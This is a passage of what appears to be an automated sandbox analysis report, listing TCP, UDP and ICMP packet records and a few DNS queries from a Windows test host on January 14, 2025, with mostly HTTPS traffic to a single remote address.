Jan 14, 2025 15:56:22.469178915 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.469194889 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.469367027 CET	50017	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.469403982 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.469460011 CET	50017	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.481108904 CET	443	50018	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.481167078 CET	443	50018	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.481229067 CET	50018	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.481249094 CET	443	50018	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.481266022 CET	443	50018	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.481338978 CET	50018	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.518246889 CET	443	50022	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.518279076 CET	443	50022	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.518359900 CET	50022	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.518381119 CET	443	50022	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.521219969 CET	443	50022	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.521395922 CET	50022	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.531017065 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.531102896 CET	50017	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.531120062 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.531132936 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.531192064 CET	50017	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.549489975 CET	443	50020	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.552648067 CET	443	50020	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.552730083 CET	50020	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.568504095 CET	443	50019	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.568530083 CET	443	50019	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.568608999 CET	50019	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.568629980 CET	443	50019	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.568667889 CET	50019	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.571877956 CET	443	50019	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.571958065 CET	443	50019	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.572007895 CET	50019	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.643019915 CET	50022	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.643038034 CET	443	50022	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.643718004 CET	50020	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.643723965 CET	443	50020	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.650098085 CET	50018	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.650116920 CET	443	50018	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.650640965 CET	50017	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.650652885 CET	443	50017	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.651329994 CET	50019	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.651334047 CET	443	50019	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.729410887 CET	50028	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.729455948 CET	443	50028	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.729512930 CET	50028	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.729764938 CET	50028	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.729783058 CET	443	50028	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.735709906 CET	50030	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.735739946 CET	443	50030	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:22.735788107 CET	50030	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.736246109 CET	50030	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:22.736258984 CET	443	50030	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.209297895 CET	443	50030	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.209692955 CET	50030	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.209727049 CET	443	50030	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.210086107 CET	443	50030	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.210536003 CET	50030	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.210601091 CET	443	50030	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.210767031 CET	50030	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.210791111 CET	443	50030	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.238492966 CET	443	50028	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.238917112 CET	50028	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.238946915 CET	443	50028	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.239547968 CET	443	50028	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.239898920 CET	50028	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.239970922 CET	443	50028	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.240088940 CET	50028	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.240119934 CET	443	50028	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.371223927 CET	443	50016	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.374892950 CET	443	50016	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.374979019 CET	50016	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.374994993 CET	443	50016	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.375044107 CET	443	50016	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.375108004 CET	50016	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.375360966 CET	50016	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.375375032 CET	443	50016	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.378142118 CET	50034	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.378192902 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.378262997 CET	50034	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.378529072 CET	50034	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.378550053 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.382097960 CET	50035	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.382169962 CET	443	50035	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.382266045 CET	50035	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.382458925 CET	50035	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.382497072 CET	443	50035	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.390757084 CET	443	50030	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.396231890 CET	443	50030	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.396317959 CET	50030	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.396545887 CET	50030	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.396564007 CET	443	50030	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.397027016 CET	443	49979	13.107.253.44	192.168.2.6
Jan 14, 2025 15:56:23.397217035 CET	443	49979	13.107.253.44	192.168.2.6
Jan 14, 2025 15:56:23.397279024 CET	49979	443	192.168.2.6	13.107.253.44
Jan 14, 2025 15:56:23.401966095 CET	49979	443	192.168.2.6	13.107.253.44
Jan 14, 2025 15:56:23.401978970 CET	443	49979	13.107.253.44	192.168.2.6
Jan 14, 2025 15:56:23.859306097 CET	443	50028	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.859410048 CET	443	50028	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.859497070 CET	50028	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.859522104 CET	443	50028	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.859574080 CET	50028	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.860786915 CET	50028	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.860876083 CET	443	50028	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.860943079 CET	50028	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.892570019 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.892940998 CET	50034	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.892976046 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.893482924 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.893855095 CET	50034	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.893954992 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.894167900 CET	50034	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.894202948 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.899879932 CET	443	50035	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.900142908 CET	50035	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.900172949 CET	443	50035	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.901273012 CET	443	50035	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.901352882 CET	50035	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.904325008 CET	50035	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.904402971 CET	443	50035	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.904539108 CET	50035	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:23.904550076 CET	443	50035	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:23.947459936 CET	50035	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.146987915 CET	443	50035	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.151444912 CET	443	50035	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.151515961 CET	443	50035	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.151547909 CET	50035	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.151618958 CET	50035	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.152010918 CET	50035	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.152043104 CET	443	50035	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.317667961 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.317698956 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.317713976 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.318315029 CET	50034	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.318345070 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.318427086 CET	50034	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.389287949 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.390177011 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.390224934 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.390273094 CET	50034	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.390317917 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.390402079 CET	50034	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.390624046 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.390697956 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.390752077 CET	50034	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.390752077 CET	50034	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.392863989 CET	50034	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.392894983 CET	443	50034	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.396960020 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.396995068 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.397058964 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.397281885 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:24.397299051 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.877466917 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:24.921614885 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:25.422477007 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:25.422489882 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.422991991 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.431406975 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:25.431490898 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.431694984 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:25.431725025 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.700570107 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.700596094 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.700623035 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.700630903 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.700644016 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.700676918 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:25.700695992 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.700711966 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:25.700751066 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:25.775325060 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.775731087 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.775768042 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.775784969 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.775847912 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:25.775847912 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:25.775865078 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.775886059 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:25.775923014 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:25.775944948 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:25.776832104 CET	50044	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:25.776845932 CET	443	50044	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:32.118180990 CET	50065	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:32.118236065 CET	443	50065	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:32.118352890 CET	50065	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:32.118608952 CET	50065	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:32.118623972 CET	443	50065	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:32.601989985 CET	443	50065	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:32.605580091 CET	50065	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:32.605592012 CET	443	50065	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:32.605993986 CET	443	50065	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:32.613893986 CET	50065	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:32.614002943 CET	443	50065	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:32.618221045 CET	50065	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:32.618252039 CET	443	50065	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:32.845741987 CET	443	50065	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:32.850600958 CET	443	50065	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:32.850652933 CET	50065	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:32.852220058 CET	50065	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:32.852237940 CET	443	50065	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:32.863467932 CET	50067	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:32.863501072 CET	443	50067	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:32.863570929 CET	50067	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:32.863828897 CET	50067	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:32.863841057 CET	443	50067	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:33.362363100 CET	443	50067	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:33.362832069 CET	50067	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:33.362869024 CET	443	50067	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:33.363256931 CET	443	50067	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:33.363631010 CET	50067	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:33.363749981 CET	443	50067	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:33.363863945 CET	50067	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:33.363912106 CET	443	50067	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:33.581024885 CET	443	50067	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:33.581104994 CET	443	50067	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:33.581207037 CET	50067	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:33.582487106 CET	50067	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:33.582509995 CET	443	50067	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:51.348742008 CET	50078	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:51.353576899 CET	53	50078	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:51.354209900 CET	50078	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:51.354310036 CET	50078	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:51.354310036 CET	50078	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:51.359155893 CET	53	50078	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:51.359169006 CET	53	50078	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:51.797593117 CET	53	50078	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:51.799596071 CET	50078	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:51.804708004 CET	53	50078	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:51.805829048 CET	50078	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:52.832240105 CET	58420	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:52.837133884 CET	53	58420	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:52.837224007 CET	58420	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:52.842159033 CET	53	58420	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:53.297452927 CET	58420	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:53.302498102 CET	53	58420	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:53.302562952 CET	58420	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:55.420592070 CET	58422	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:56:55.420638084 CET	443	58422	142.250.185.132	192.168.2.6
Jan 14, 2025 15:56:55.420737028 CET	58422	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:56:55.420980930 CET	58422	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:56:55.420991898 CET	443	58422	142.250.185.132	192.168.2.6
Jan 14, 2025 15:56:56.053853989 CET	443	58422	142.250.185.132	192.168.2.6
Jan 14, 2025 15:56:56.054338932 CET	58422	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:56:56.054368019 CET	443	58422	142.250.185.132	192.168.2.6
Jan 14, 2025 15:56:56.054748058 CET	443	58422	142.250.185.132	192.168.2.6
Jan 14, 2025 15:56:56.055088997 CET	58422	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:56:56.055165052 CET	443	58422	142.250.185.132	192.168.2.6
Jan 14, 2025 15:56:56.120841026 CET	58422	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:56:57.139631033 CET	49931	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:57.139658928 CET	443	49931	23.95.206.235	192.168.2.6
Jan 14, 2025 15:57:05.965455055 CET	443	58422	142.250.185.132	192.168.2.6
Jan 14, 2025 15:57:05.965528965 CET	443	58422	142.250.185.132	192.168.2.6
Jan 14, 2025 15:57:05.965616941 CET	58422	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:57:07.436476946 CET	58422	443	192.168.2.6	142.250.185.132
Jan 14, 2025 15:57:07.436506033 CET	443	58422	142.250.185.132	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 15:55:51.184530020 CET	53	64668	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:51.203907967 CET	53	59335	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:52.221884966 CET	53	54441	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:55.357873917 CET	59734	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:55:55.358040094 CET	59613	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:55:55.365102053 CET	53	59734	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:55.365124941 CET	53	59613	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:56.649365902 CET	56086	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:55:56.649944067 CET	52690	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:55:56.717868090 CET	53	56086	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:56.971558094 CET	53	52690	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:57.765187979 CET	54367	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:55:57.765675068 CET	60006	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:55:57.796665907 CET	53	54367	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:57.798206091 CET	53	60006	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:58.680605888 CET	61042	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:55:58.680828094 CET	51930	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:55:58.688672066 CET	53	61042	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:58.728553057 CET	64862	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:55:58.729022980 CET	54191	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:55:58.732875109 CET	56832	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:55:58.733062983 CET	62445	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:55:58.735868931 CET	53	64862	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:58.735940933 CET	53	54191	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:58.759098053 CET	53	56832	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:58.768167019 CET	53	62445	1.1.1.1	192.168.2.6
Jan 14, 2025 15:55:58.996491909 CET	53	51930	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:00.074767113 CET	63459	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:00.075126886 CET	54225	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:00.098079920 CET	53	54225	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:00.120682001 CET	53	63459	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:00.352968931 CET	52712	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:00.353252888 CET	62621	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:00.380942106 CET	53	52712	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:00.397561073 CET	53	62621	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:01.223325014 CET	58592	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:01.223644018 CET	50861	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:01.240099907 CET	53	58592	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:01.240329981 CET	53	50861	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:01.264764071 CET	53	51354	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:02.903455019 CET	57969	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:02.903886080 CET	56206	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:02.932145119 CET	53	56206	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:03.223913908 CET	53	57969	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:09.243396997 CET	53	51776	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:11.563823938 CET	64078	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:11.564328909 CET	57729	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:11.585447073 CET	53	64078	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:11.721369028 CET	53	57729	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:12.363006115 CET	62914	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:12.363317966 CET	61078	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:12.378047943 CET	53	61078	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:12.387164116 CET	53	62914	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:16.739420891 CET	57311	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:16.739877939 CET	51349	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:16.762598038 CET	53	51349	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:16.787368059 CET	53	57311	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:18.020536900 CET	52456	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:18.021024942 CET	56682	53	192.168.2.6	1.1.1.1
Jan 14, 2025 15:56:18.027363062 CET	53	52456	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:18.028482914 CET	53	56682	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:28.397510052 CET	53	60991	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:32.199481010 CET	53	58818	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:50.757729053 CET	53	57667	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:51.348067045 CET	53	51486	1.1.1.1	192.168.2.6
Jan 14, 2025 15:56:52.831613064 CET	53	64637	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 14, 2025 15:55:56.972970009 CET	192.168.2.6	1.1.1.1	c264	(Port unreachable)	Destination Unreachable
Jan 14, 2025 15:55:58.996646881 CET	192.168.2.6	1.1.1.1	c26a	(Port unreachable)	Destination Unreachable
Jan 14, 2025 15:56:00.399467945 CET	192.168.2.6	1.1.1.1	c26a	(Port unreachable)	Destination Unreachable
Jan 14, 2025 15:56:11.721642017 CET	192.168.2.6	1.1.1.1	c22f	(Port unreachable)	Destination Unreachable
Jan 14, 2025 15:56:15.742785931 CET	192.168.2.6	1.1.1.1	c2a2	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 15:55:55.357873917 CET	192.168.2.6	1.1.1.1	0xf574	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:55.358040094 CET	192.168.2.6	1.1.1.1	0xfcfb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 14, 2025 15:55:56.649365902 CET	192.168.2.6	1.1.1.1	0xbb8	Standard query (0)	account.tctmagazine.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 15:55:56.649944067 CET	192.168.2.6	1.1.1.1	0xbd4c	Standard query (0)	account.tctmagazine.com	65	IN (0x0001)	false
Jan 14, 2025 15:55:57.765187979 CET	192.168.2.6	1.1.1.1	0x5022	Standard query (0)	mighty-calm-plum-toucan.easy2.de	A (IP address)	IN (0x0001)	false
